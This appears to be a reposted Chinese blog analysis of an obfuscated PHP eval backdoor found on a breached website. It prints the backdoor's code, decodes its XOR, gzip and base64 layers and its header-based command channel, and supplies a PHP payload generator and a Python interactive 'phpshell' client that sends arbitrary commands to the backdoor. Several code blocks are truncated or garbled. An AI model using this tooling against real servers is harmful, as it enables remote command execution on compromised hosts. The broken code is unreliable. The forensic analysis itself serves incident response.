博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
一个PHP混淆后门的分析
阅读量:6183 次
发布时间:2019-06-21

本文共 6007 字,大约阅读时间需要 20 分钟。

hot3.png

洒家的朋友的公司的某个站发现最近被上传了一个后门程序。为了取证我们抓取了HTTP请求流量,看到了一堆莫名其妙看似经过混淆的请求,响应也是看似base64的乱码。洒家用了2个小时静态分析了一遍,并写了利用脚本。后门程序看似是乱码,实际上经过了混淆,通过eval()可以执行任意PHP命令。由于混淆得很乱,做起来实在把洒家恶心了一番。

后门源代码:

复制代码

$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';/* */$N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';/* */$u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';/* */$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)';/* */$O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif(';/* */$w=')m));)m$p="";fo)mr($z=1;)m$z

复制代码

经过分析,最外层混淆进行的操作是:按顺序拼接字符串,删除其中的 ')m',通过create_function()创建一个匿名函数$v并执行代码。

将代码导出并美化如下:

复制代码

$d
"); @session_destroy(); } } }}

复制代码

好吧,还有第二层混淆。洒家大概看了一下,x($t,$k)函数是个循环异或函数,结合 base64 函数、 gzcompress() 等函数看可能有HTTP请求和响应过程中的编码和加密。Payload是从仅有的输入 $_SERVER["HTTP_ACCEPT_LANGUAGE"] 和 $_SERVER["HTTP_REFERER"]中来。

 洒家分析了一番,稍加修改,得到:

复制代码

"; echo(@gzuncompress(@x(@base64_decode( preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e)) ),$k))); $o=ob_get_contents(); // output ob_end_clean(); $d=base64_encode(x(gzcompress($o),$k)); // 编码 print $o; //print("<$k>$d
"); @session_destroy(); } } }}

复制代码

关于正则表达式,例子:

复制代码

$ra = 'zh-CN,zh;q=0.8,en;q=0.6';$m = array (size=3)      0 =>         array (size=3)          0 => string 'zh-CN,' (length=6)          1 => string 'zh;q=0.8,' (length=9)          2 => string 'en;q=0.6' (length=8)      1 =>         array (size=3)          0 => string 'z' (length=1)          1 => string 'z' (length=1)          2 => string 'e' (length=1)      2 =>         array (size=3)          0 => string '' (length=0)          1 => string '8' (length=1)          2 => string '6' (length=1)

复制代码

 由此,理清这复杂的逻辑后可以写出以下Payload生成代码(PHP):

(针对 zh-CN,zh;q=0.8,en;q=0.6 这一种 Accept-Language)

复制代码

array ( 0 => 'zh-CN,', 1 => 'zh;q=0.8,', 2 => 'en;q=0.6', ), 1 => array ( 0 => 'z', 1 => 'z', 2 => 'e', ), 2 => array ( 0 => '', 1 => '8', 2 => '6', ), );$i = 'zz'; // $m[1][0] . $m[1][1]$h=strtolower(substr(md5($i.$kh),0,3)); // 675$f=strtolower(substr(md5($i.$kf),0,3)); // a3efunction x($t,$k){ // $k : xor key, $t: plain. loop xor encrypt $t. $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i<$l;){ for($j=0;($j<$c&&$i<$l);$j++,$i++){ $o.=$t{$i}^$k{$j}; } } return $o;}$key = '4f7f28d7';//$payload='phpinfo();';$payload = $_GET['cmd'];$payload = gzcompress($payload);$payload = x($payload,$key);$payload = base64_encode($payload);$payload = preg_replace(array("/\//","/\+/"),array("_","-"), $payload);$payload = $h . $payload . $f;echo $payload;echo "\n
\n";$referer = "http://example.com/?a=0&b=1&c=2&d=3&e=4&f=5&g=6&h=7&i=$payload";echo $referer;echo "\n
\n";

复制代码

 

 对于 eval() 后的输出,有以下代码解密:

复制代码

复制代码

 

洒家根据这个后门的原理写了个交互式的利用程序(Python2):

 

代码如下:

每次执行代码生成一次Accept-Language。对于Referer的Query String,没有用到的部分用随机代码填充,编码后的Payload切成3部分,头部md5 和主体连接起来从中切2份,尾部md5+随机字符串作为第3份。

复制代码

# encoding: utf-8from random import randint,choicefrom hashlib import md5import urllibimport stringimport zlibimport base64import requestsimport redef choicePart(seq,amount):    length = len(seq)    if length == 0 or length < amount:        print 'Error Input'        return None    result = []    indexes = []    count = 0    while count < amount:        i = randint(0,length-1)        if not i in indexes:            indexes.append(i)            result.append(seq[i])            count += 1            if count == amount:                return resultdef randBytesFlow(amount):    result = ''    for i in xrange(amount):        result += chr(randint(0,255))    return  resultdef randAlpha(amount):    result = ''    for i in xrange(amount):        result += choice(string.ascii_letters)    return resultdef loopXor(text,key):    result = ''    lenKey = len(key)    lenTxt = len(text)    iTxt = 0    while iTxt < lenTxt:        iKey = 0        while iTxt
')while cmd != '': # build junk data in referer query = [] for i in xrange(max(indexes)+1+randint(0,2)): key = randAlpha(randint(3,6)) value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12))) query.append((key, value)) debugPrint('Before insert payload:') debugPrint(query) debugPrint(urllib.urlencode(query)) # encode payload payload = zlib.compress(cmd) payload = loopXor(payload,xorKey) payload = base64.urlsafe_b64encode(payload) payload = md5head + payload # cut payload, replace into referer cutIndex = randint(2,len(payload)-3) payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail) iPiece = 0 for i in indexes: query[i] = (query[i][0],payloadPieces[iPiece]) iPiece += 1 referer = url + '?' + urllib.urlencode(query) debugPrint('After insert payload, referer is:') debugPrint(query) debugPrint(referer) # send request r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies) html = r.text debugPrint(html) # process response pattern = re.compile(r'<%s>(.*)
' % (xorKey,xorKey)) output = pattern.findall(html) if len(output) == 0: print 'Error, no backdoor response' cmd = raw_input('phpshell > ') continue output = output[0] debugPrint(output) output = output.decode('base64') output = loopXor(output,xorKey) output = zlib.decompress(output) print output cmd = raw_input('phpshell > ')

复制代码

每次请求的效果

响应:

 

附:

Accept-Language解释

zh-cn,zh;q=0.5

浏览器支持的语言分别是中文和简体中文,优先支持简体中文。

  Accept-Language表示浏览器所支持的语言类型;

  zh-cn表示简体中文;zh 表示中文;

  q是权重系数,范围 0 =< q <= 1,q 值越大,请求越倾向于获得其“;”之前的类型表示的内容,若没有指定 q 值,则默认为1,若被赋值为0,则用于提醒服务器哪些是浏览器不接受的内容类型。

转载于:https://my.oschina.net/slagga/blog/1822389

你可能感兴趣的文章
vimwiki使用技巧
查看>>
Session 'app': Error Launching activity
查看>>
linux下ab网站压力测试命令
查看>>
mysqldump备份还原和mysqldump导入导出语句大全详解
查看>>
单例模式&线程安全
查看>>
skywalking 5.X 分布式链路跟踪 使用笔记
查看>>
codewars039: Odd/Even number of divisors
查看>>
Perl5 语言精粹
查看>>
webpack插件【cdn-loader】
查看>>
产品设计
查看>>
Session and Flash scopes【翻译】
查看>>
Elixir tuple
查看>>
设置Button背景渐变效果和点击效果
查看>>
LINUX下PHP编译添加相应的动态扩展模块so(不需要重新编译PHP,以openssl.so为例)...
查看>>
SSH登陆错误 WARNING: REMOTE HOST IDENTIFICATION HAS CH
查看>>
家人重病什么心情都没了
查看>>
引用计数实现
查看>>
谈谈你对流行框架的理解(
查看>>
ESAdjustableLabel-Category
查看>>
DCRoundSwitch
查看>>